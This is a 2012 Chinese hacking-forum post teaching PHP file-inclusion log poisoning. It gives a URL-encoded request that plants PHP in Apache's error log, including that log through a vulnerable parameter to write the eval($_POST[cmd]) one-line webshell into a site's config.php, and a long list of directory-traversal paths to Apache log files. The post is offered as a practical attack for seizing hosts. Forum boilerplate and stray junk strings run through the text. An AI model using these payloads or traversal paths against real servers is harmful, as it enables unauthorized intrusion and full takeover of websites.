找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1789|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
. ^+ W) o8 c) x! {& a
9 ?! D+ _2 M* l( e9 K4 |比如还是这句一句话木马 ( W4 O& p7 ?# _# F
<?eval($_POST[cmd]);?>   
3 ^, ?  y5 T0 n( H  @& Q+ B
; X7 T+ |0 j# B% i+ P4 V- I到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, % R: z, \; K. N9 d' e5 Z
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
4 s2 n6 F1 F& ~7 ^/ d8 V3 I- y+ N$ Q3 l
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); * K) q( I" x; Z- I
fclose($fp);?>   //在config.php里写入一句木马语句
+ t/ x- S" f4 L" W/ Z& h, J6 e0 E) q, E5 U% _- L
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
' ]! b' e$ K- {) I1 R转换为 : H* S8 M" e) Y7 Y3 D
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F 8 e4 d+ M2 \! i4 e
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
' [& I; |& R, T, V! q* ^) o& W%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B , K4 H6 t5 e' J( V0 O$ p" ]0 u
fclose%28%24fp%29%3B%3F%3E 3 n  x, c1 `4 `
我们提交 7 b8 ?, _9 l# M8 T8 f1 P
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
, R6 U) B- |8 G: a9 u6 J. Z0 I%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp / c7 t% k1 {. o4 k- y$ M7 x
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B " T0 k1 |2 X) m2 h6 I* U
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E ! Z3 U$ T' ]* p- b6 c
$ p: t; O3 s$ e0 U
这样就错误日志里就记录下了这行写入webshell的代码。 , z# ~5 K) P8 A7 T$ F3 `
我们再来包含日志,提交 # Q  L" L% R5 U. {. x+ R/ v
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 4 @3 Z. n8 D4 J$ k* \/ }4 d6 ]
, f5 p7 O- a/ l. J* Z
这样webshell就写入成功了,config.php里就写入一句木马语句
% P+ |! @* G: Q/ g8 r! qOK. + Q/ y! B! f- ~/ }+ X9 f5 G7 G
http://www.xxx.com/forum/config.php这个就成了我们的webshell
. r" C1 D4 s3 B! n1 D直接用lanker的客户端一连,主机就是你的了。 + R+ X$ s% L( C- z
% {7 A/ o/ K0 d( X8 b4 h
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 ! C! w9 P( x; \9 `3 E" M$ f

7 T0 @0 }! n7 q/ A其他的日志路径,你可以去猜,也可以参照这里。
$ u7 y8 y! P/ I4 t, p* W* e, k../../../../../../../../../../var/log/httpd/access_log
. T( F. H9 a1 c; W, E6 p../../../../../../../../../../var/log/httpd/error_log
. H  a/ ]) U5 O! X! f. {6 z../apache/logs/error.log + a3 q& R( q' w( m  c
../apache/logs/access.log * a' }- i; g. @/ J8 }% Z. U6 [0 J
../../apache/logs/error.log 7 l3 B; ^7 \2 F- O- ]
../../apache/logs/access.log 6 {$ b1 B7 J+ m! @( z0 }5 N
../../../apache/logs/error.log
; M3 o6 b/ V, @- h& _. z" Z9 i( c../../../apache/logs/access.log / n( G8 D! }* h* n7 t4 K# L. K
../../../../../../../../../../etc/httpd/logs/acces_log $ v) G6 B. z+ Y- O$ p8 I, a
../../../../../../../../../../etc/httpd/logs/acces.log   [$ _; I. F1 g1 q9 ?$ t
../../../../../../../../../../etc/httpd/logs/error_log ' u4 }, x) ?; [% L' O& R
../../../../../../../../../../etc/httpd/logs/error.log
, P, |5 s; I! ?  P* f9 w../../../../../../../../../../var/www/logs/access_log 1 Z: J0 @, F, h' \2 z$ b
../../../../../../../../../../var/www/logs/access.log
+ D0 S% I1 v) i../../../../../../../../../../usr/local/apache/logs/access_log 8 L4 D% T8 H+ s0 [
../../../../../../../../../../usr/local/apache/logs/access.log 3 y- ~9 Z' Z( x
../../../../../../../../../../var/log/apache/access_log
* y( ?4 ?! @4 A; y../../../../../../../../../../var/log/apache/access.log
: V: a& c5 @/ T7 X" a../../../../../../../../../../var/log/access_log
! P' S- t2 Z: F+ A../../../../../../../../../../var/www/logs/error_log % y! r+ ^' d  o! ^) l0 `) N% l
../../../../../../../../../../var/www/logs/error.log
: i" R: H8 A+ m: _& k8 F$ `- z../../../../../../../../../../usr/local/apache/logs/error_log
: S# e/ `7 w4 d% g3 ?  U" d( {0 \../../../../../../../../../../usr/local/apache/logs/error.log
" @  h/ Y! H3 a  X1 u/ X8 ~7 n../../../../../../../../../../var/log/apache/error_log $ A+ D$ J- \; T$ f8 a
../../../../../../../../../../var/log/apache/error.log
7 F0 ~6 B0 p* R../../../../../../../../../../var/log/access_log * I' J4 n" x) M  A
../../../../../../../../../../var/log/error_log - C( u& t. F! B/ n
/var/log/httpd/access_log      
& n% K& c; q' C1 p" Q7 t% y' `; C/var/log/httpd/error_log     
. E4 O. l; Q0 m. n) f../apache/logs/error.log     
) u9 l# p$ E% j3 H$ [+ P../apache/logs/access.log ; W9 ^8 A9 ?* Q
../../apache/logs/error.log ) j$ D0 }; h/ q/ p
../../apache/logs/access.log
4 o8 [7 p/ u$ M7 ~& l../../../apache/logs/error.log
% ?3 I' X0 S" b, i../../../apache/logs/access.log
; i3 l- I" W7 I/ l2 F. Y* p6 C/etc/httpd/logs/acces_log 5 V2 |9 H/ ~/ {2 `7 h
/etc/httpd/logs/acces.log . k, x& R; X7 g- k# o
/etc/httpd/logs/error_log . F* [( ]) ~8 R  i/ k
/etc/httpd/logs/error.log
- z! h; C5 G1 K1 X. a  O/var/www/logs/access_log ' w9 x* f! ^# _  G! J
/var/www/logs/access.log ' m7 v4 C& F) o  M+ m
/usr/local/apache/logs/access_log " m) T4 c% P& l$ S( f6 [
/usr/local/apache/logs/access.log
3 [8 a9 \4 T: ~/var/log/apache/access_log
! J6 G1 ]0 e* N& c& o/var/log/apache/access.log 3 t2 _9 I3 z5 {0 |
/var/log/access_log
8 n% f% W) N- l; V$ Y5 A2 }/var/www/logs/error_log - I* z, n% [3 S; N& i* x7 E- e
/var/www/logs/error.log ' M9 k6 k6 A* H
/usr/local/apache/logs/error_log
8 E0 H4 E# E: X: i: z" J1 f2 [) j/usr/local/apache/logs/error.log
( C5 w/ w2 J1 W* F% t' }5 H5 n/var/log/apache/error_log + s/ M, m& ^5 y1 W
/var/log/apache/error.log
+ N, }. E4 a: N8 A8 L+ Q1 ~/var/log/access_log   s0 J  c. M$ O  C  U' s+ Q
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表